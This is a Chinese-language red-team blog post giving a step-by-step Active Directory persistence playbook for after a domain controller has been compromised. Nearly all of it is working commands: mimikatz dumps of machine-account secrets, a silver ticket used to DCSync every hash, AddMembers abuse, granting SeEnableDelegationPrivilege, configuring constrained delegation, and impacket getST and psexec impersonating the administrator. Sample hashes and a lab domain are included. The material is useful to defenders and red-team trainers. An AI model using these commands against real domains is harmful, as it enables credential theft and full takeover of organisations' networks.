“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
—
简述
MachineAccount既是机器账号,每台计算机在安装系统后默认生成的计算机名。
计算机账户的秘密存储在注册表中的位置:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$machine.ACC
# 该注册表键路径只能在 SYSTEM 权限下访问
如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的 NTDS.dit 活动目录数据库文件中。计算机帐户的密码默认每 30 天自动更新,密码长度为 120 个字符,所以几乎无法还原出计算机帐户的明文口令。
要使用机器账户实现 DCSync,首先要做的就是获取机器账户身份的权限,然后再利用机器账户的身份进行 DCSync 操作。
在获取到域控权限之后,使用机器账号进行做一个权限维持的操作
在域控上使用mimikatz通过注册表文件导出当前计算机账户的密码哈希:
privilege::debug
token::elevate
lsadump::secrets
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"
获取以下信息:
Domain SID:S-1-5-21-2753149068-621323051-1466803448
MachineAccount Hash:96e4a4c9c1e0e84ec8cf062e49711345
使用 MachineAccount 密码哈希进行DCSync
有了机器账号的密码哈希后,我们需要想办法登录到这个机器账号,由于无法破解哈希,我们可以使用白银票据的方法。
利用方式如下:
mimikatz "kerberos::golden /domain:hacker.com /sid:S-1-5-21-2753149068-621323051-1466803448 /target:dc1.hacker.com /service:LDAP /rc4:96e4a4c9c1e0e84ec8cf062e49711345 /user:krbtgt /ptt" "lsadump::dcsync /domain:hacker.com /all /csv" exit
python3 secretsdump.py -hashes :96e4a4c9c1e0e84ec8cf062e49711345 hacker/DC1$@192.168.1.2
AddMembers权限
可以将任意用户,组或者计算机添加到目标组里。
如果一个用户对一个组拥有AddMembers权限,那么这个用户就可以将任何用户加入这个组,从而具备这个组的权限。
addmember(bf9679c0-0de6-11d0-a285-00aa003049e2)
BLOODHOUND查询语法如下:
MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p
添加AddMembers权限
查询当前域管组
添加域管组
SeEnableDelegationPrivilege权限利用
当获取了一个域用户权限(普通域用户只能进行寻找是否存在这个权限账号),或者域管权限的时候,可以设置一个权限,做一个权限维持
利用powershell寻找特权账号:
(思路):
• 使用PowerView(773kb)寻找GPO(Default Domain Controllers Policy)路径(默认:{6AC1786C-016F-11D2-945F-00C04fB984F9})
• type查看改路径,然后查看SeEnableDelegationPrivilege字段的SID
• 拿到SID之后使用命令将SID转为Username
powershell -exec bypass -command "import-module .\powerview.ps1;Get-DomainPolicy -Source DC"
type "\\hacker.com\sysvol\hacker.com\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
powershell -exec bypass -command "import-module .\powerview.ps1;'S-1-5-21-2753149068-621323051-1466803448-1104'|Convert-SidToName"
3.2、添加SeEnableDelegationPrivilege权限
查询是否存在SeEnableDelegationPrivilege权限账号后,如果没有目前掌握的账号或者其他账号的时候(**通常查询情况是只BUILTIN\Administrators的成员(即Domain Admins/Enterprise Admins/etc)拥有SeEnableDelegationPrivilege权限,普通用户是没有此权限的**),我们拿到域控权限就可以自己添加一个权限来进行做权限维持
这个时候我们已经拿到域控权限了,所以我们可以使用简单的方法实现添加特权
**添加SeEnableDelegationPrivilege特权:
UserRights.psml**
powershell -exec bypass -command "import-module .\UserRights.psm1;Grant-UserRight -Account username -Right SeEnableDelegationPrivilege"
powershell -exec bypass -command "import-module .\UserRights.psm1;Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege"
添加SPN:
setspn -s hacker/exchange exchange
使用PowerView(773KB)添加这个用户对整个域的完全控制权限:
powershell -exec bypass -command "import-module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity username -PrincipalIdentity username -Rights All"
验证是否存在权限:
powershell -exec bypass -command "import-module .\PowerView.ps1;Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match 'User-SID'} | select objectdn,ActiveDirectoryRights"
#这里验证需要设置的用户SID,可以使用type查看GptTmpl.inf文件,因为之前添加了这个权限
域控更新组策略:
gpupdate /force
以上就是将用户添加了SeEnableDelegationPrivilege权限
3.3、利用SeEnableDelegationPrivilege权限做cifs约束委派
查询已有配置了约束委派的机器
powershell -exec bypass -command "import-module .\PowerView.ps1;Get-DomainUser –TrustedToAuth -domain domain -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl"
设置刚刚配置了特权的用户约束委派,配置一个从修改了下特权的用户到域控的约束(cifs)委派
在域用户的机器上使用Microsoft.ActiveDirectory.Management.dll设置
Import-Module .\Microsoft.ActiveDirectory.Management.dll
$user = Get-ADUser niufuren
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hacker.com")}
#先开启委派
powershell -exec bypass -command "Import-Module .\Microsoft.ActiveDirectory.Management.dll;$user = Get-ADUser username; Set-ADObject $user -Add @{'msDS-AllowedToDelegateTo' = @('krbtgt/hacker.com')}"
#再做cifs约束委派
powershell -exec bypass -command "Import-Module .\Microsoft.ActiveDirectory.Management.dll;$user = Get-ADUser username;Set-ADObject $user -Add @{'msDS-AllowedToDelegateTo' = @('cifs/dc1.hacker.com')}"
再次验证一下是否成功添加:
修改用户useraccountcontrol值(使其允许委派)
添加TRUSTED_TO_AUTH_FOR_DELEGATION (16777216)权限
powershell -exec bypass -command "Import-Module .\PowerView.ps1;$uname='dc-username';$pwd=ConvertTo-SecureString 'dc-password' -AsPlainText –Force;$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd);$Users=Get-NetUser -Domain 'domain' -DomainController dc-ip -Credential $cred;Set-ADObject -Domain 'domain' -DomainController dc-ip -Credential $cred -SamAccountName attack-username -PropertyName useraccountcontrol -PropertyXorValue number"
这里可以看见添加了TRUSTED_TO_AUTH_FOR_DELEGATION (16777216)权限了
到这里就已经做好约束(cifs)委派了:
• exchange域用户到dc1.hacker.com的约束委派
发起s4u2self 和s4u2proxy,模拟administrator 访问dc1.hacker.com
域控导出所有用户hash
mimikatz.exe "lsadump::dcsync /domain:hacker.com /all /csv" exit
我们将exchange域用户的hash拿出来
`b9cc6ccdfed86791f1cb66c66114231a`
使用impacket工具进行获取ST
python getST.py hacker.com/one -hashes 8acfa082097b69e5211699cc29eb3209:8acfa082097b69e5211699cc29eb3209 -dc-ip 192.168.1.2 -spn cifs/dc1.hacker.com -impersonate administrator
export KRB5CCNAME=administrator.ccache
python psexec.py hacker.com/administrator@dc1.hacker.com -k -no-pass -dc-ip 192.168.1.2